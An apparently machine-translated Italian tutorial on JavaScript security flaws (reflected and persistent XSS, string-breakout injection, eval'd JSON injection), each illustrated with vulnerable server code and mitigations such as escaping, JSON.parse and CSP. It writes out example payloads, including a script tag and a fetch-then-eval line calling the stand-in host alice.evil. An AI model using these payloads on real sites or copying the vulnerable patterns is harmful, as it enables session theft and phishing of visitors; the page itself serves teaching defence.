Ricerca…
introduzione
Questa è una raccolta di problemi di sicurezza JavaScript comuni, come XSS e eval injection. Questa raccolta contiene anche come mitigare questi problemi di sicurezza.
Cross-site scripting (XSS) riflessa
Diciamo che Joe possiede un sito Web che ti consente di accedere, visualizzare i video dei cuccioli e salvarli sul tuo account.
Ogni volta che un utente esegue una ricerca su quel sito web, viene reindirizzato a https://example.com/search?q=brown+puppies
.
Se la ricerca di un utente non corrisponde a qualcosa, allora vedono un messaggio sulla falsariga di:
La tua ricerca ( cuccioli marroni ), non ha eguagliato nulla. Riprova.
Sul back-end, quel messaggio viene visualizzato in questo modo:
if(!searchResults){
webPage += "<div>Your search (<b>" + searchQuery + "</b>), didn't match anything. Try again.";
}
Tuttavia, quando Alice cerca le <h1>headings</h1>
, ottiene questo risultato:
La tua ricerca (
intestazioni
) non corrisponde a nulla. Riprova.
HTML non elaborato:
Your search (<b><h1>headings</h1></b>) didn't match anything. Try again.
Di quanto Alice cerchi <script>alert(1)</script>
, vede:
La tua ricerca (), non corrisponde a nulla. Riprova.
E:
Than Alice cerca <script src = "https://alice.evil/puppy_xss.js></script>really cute puppies
, e copia il link nella sua barra degli indirizzi, e delle e-mail Bob:
Bob,
Quando cerco dei cuccioli carini , non succede niente!
Poi, con Alice, Bob riesce a eseguire il suo script mentre Bob è connesso al suo account.
mitigazione:
- Sfuggi a tutte le parentesi angolari nelle ricerche prima di restituire il termine di ricerca quando non vengono trovati risultati.
- Non restituire il termine di ricerca quando non vengono trovati risultati.
- Aggiungi una politica di sicurezza del contenuto che si rifiuta di caricare il contenuto attivo da altri domini
Persistente Cross-site scripting (XSS)
Diciamo che Bob possiede un sito web sociale che consente agli utenti di personalizzare i loro profili.
Alice si collega al sito Web di Bob, crea un account e passa alle impostazioni del suo profilo. Imposta la sua descrizione del profilo in I'm actually too lazy to write something here.
Quando i suoi amici visualizzano il suo profilo, questo codice viene eseguito sul server:
if(viewedPerson.profile.description){
page += "<div>" + viewedPerson.profile.description + "</div>";
}else{
page += "<div>This person doesn't have a profile description.</div>";
}
Come risultato in questo HTML:
<div>I'm actually too lazy to write something here.</div>
Than Alice imposta la descrizione del suo profilo su <b>I like HTML</b>
. Quando visita il suo profilo, invece di vedere
<b> Mi piace HTML </ b>
vede
Mi piace l'HTML
Quindi Alice imposta il suo profilo a
<script src = "https://alice.evil/profile_xss.js"></script>I'm actually too lazy to write something here.
Ogni volta che qualcuno visita il suo profilo, ottiene lo script di Alice eseguito sul sito web di Bob mentre è connesso come account.
attenuazione
- Parentesi angolari di fuga nelle descrizioni del profilo, ecc.
- Memorizza le descrizioni del profilo in un file di testo semplice che viene poi recuperato con uno script che aggiunge la descrizione tramite
.innerText
- Aggiungi una politica di sicurezza del contenuto che si rifiuta di caricare il contenuto attivo da altri domini
Script cross-site persistente da stringhe di stringhe JavaScript
Diciamo che Bob possiede un sito che ti consente di pubblicare messaggi pubblici.
I messaggi sono caricati da uno script che assomiglia a questo:
addMessage("Message 1");
addMessage("Message 2");
addMessage("Message 3");
addMessage("Message 4");
addMessage("Message 5");
addMessage("Message 6");
La funzione addMessage
aggiunge un messaggio inviato al DOM. Tuttavia, nel tentativo di evitare l'XSS, qualsiasi HTML nei messaggi pubblicati è sfuggito.
Lo script è generato sul server in questo modo:
for(var i = 0; i < messages.length; i++){
script += "addMessage(\"" + messages[i] + "\");";
}
Quindi Alice scrive un messaggio che dice: My mom said: "Life is good. Pie makes it better. "
. Quando visualizza il messaggio in anteprima, invece di vedere il suo messaggio, vede un errore nella console:
Uncaught SyntaxError: missing ) after argument list
Perché? Perché lo script generato si presenta così:
addMessage("My mom said: "Life is good. Pie makes it better. "");
Questo è un errore di sintassi. I post di Alice:
I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//
Quindi lo script generato assomiglia a:
addMessage("I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//");
Questo aggiunge il messaggio I like pie
, ma scarica anche e esegue https://alice.evil/js_xss.js
ogni volta che qualcuno visita il sito di Bob.
mitigazione:
- Passa il messaggio pubblicato in JSON.stringify ()
- Invece di creare dinamicamente uno script, crea un semplice file di testo contenente tutti i messaggi recuperati successivamente dallo script
- Aggiungi una politica di sicurezza del contenuto che si rifiuta di caricare il contenuto attivo da altri domini
Perché gli script di altre persone possono danneggiare il tuo sito Web e i suoi visitatori
Se non pensi che gli script dannosi possano danneggiare il tuo sito, ti sbagli . Ecco un elenco di ciò che uno script dannoso potrebbe fare:
- Rimuoviti dal DOM in modo che non possa essere tracciato
- Ruba i cookie di sessione degli utenti e attiva l'autore dello script per accedere come e impersonarli
- Mostra un falso "La tua sessione è scaduta. Effettua nuovamente il login." messaggio che invia la password dell'utente all'autore dello script .
- Registrare un operatore di servizi dannosi che esegue uno script dannoso in ogni pagina visita a quel sito Web.
- Metti su un paywall falso chiedendo agli utenti di pagare per accedere al sito che in realtà va all'autore dello script .
Per favore, non pensare che l'XSS non danneggi il tuo sito web e i suoi visitatori.
Iniezione JSON Evaled
Diciamo che ogni volta che qualcuno visita una pagina del profilo nel sito web di Bob, viene recuperato il seguente URL:
https://example.com/api/users/1234/profiledata.json
Con una risposta come questa:
{
"name": "Bob",
"description": "Likes pie & security holes."
}
Di quei dati vengono analizzati e inseriti:
var data = eval("(" + resp + ")");
document.getElementById("#name").innerText = data.name;
document.getElementById("#description").innerText = data.description;
Sembra buono, giusto? Sbagliato.
Cosa succede se la descrizione di qualcuno è Mi Likes XSS."});alert(1);({"name":"Alice","description":"Likes XSS.
Mi Likes XSS."});alert(1);({"name":"Alice","description":"Likes XSS.
"Sembra strano, ma se mal eseguito, la risposta sarà:
{
"name": "Alice",
"description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
}
E questo sarà eval
:
({
"name": "Alice",
"description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
})
Se non pensi che sia un problema, incollalo nella tua console e guarda cosa succede.
Mitagation
Usa JSON.parse invece di eval per ottenere JSON. In generale, non usare eval, e sicuramente non usare eval con qualcosa che un utente potrebbe controllare. Eval crea un nuovo contesto di esecuzione , creando un successo nelle prestazioni .
Esegui correttamente
"
e\
nei dati utente prima di inserirli in JSON. Se esci semplicemente da"
, allora succederà:Hello! \"});alert(1);({
Sarà convertito in:
"Hello! \\"});alert(1);({"
Ops. Ricordati di sfuggire sia a
\
che a"
, o usa semplicemente JSON.parse.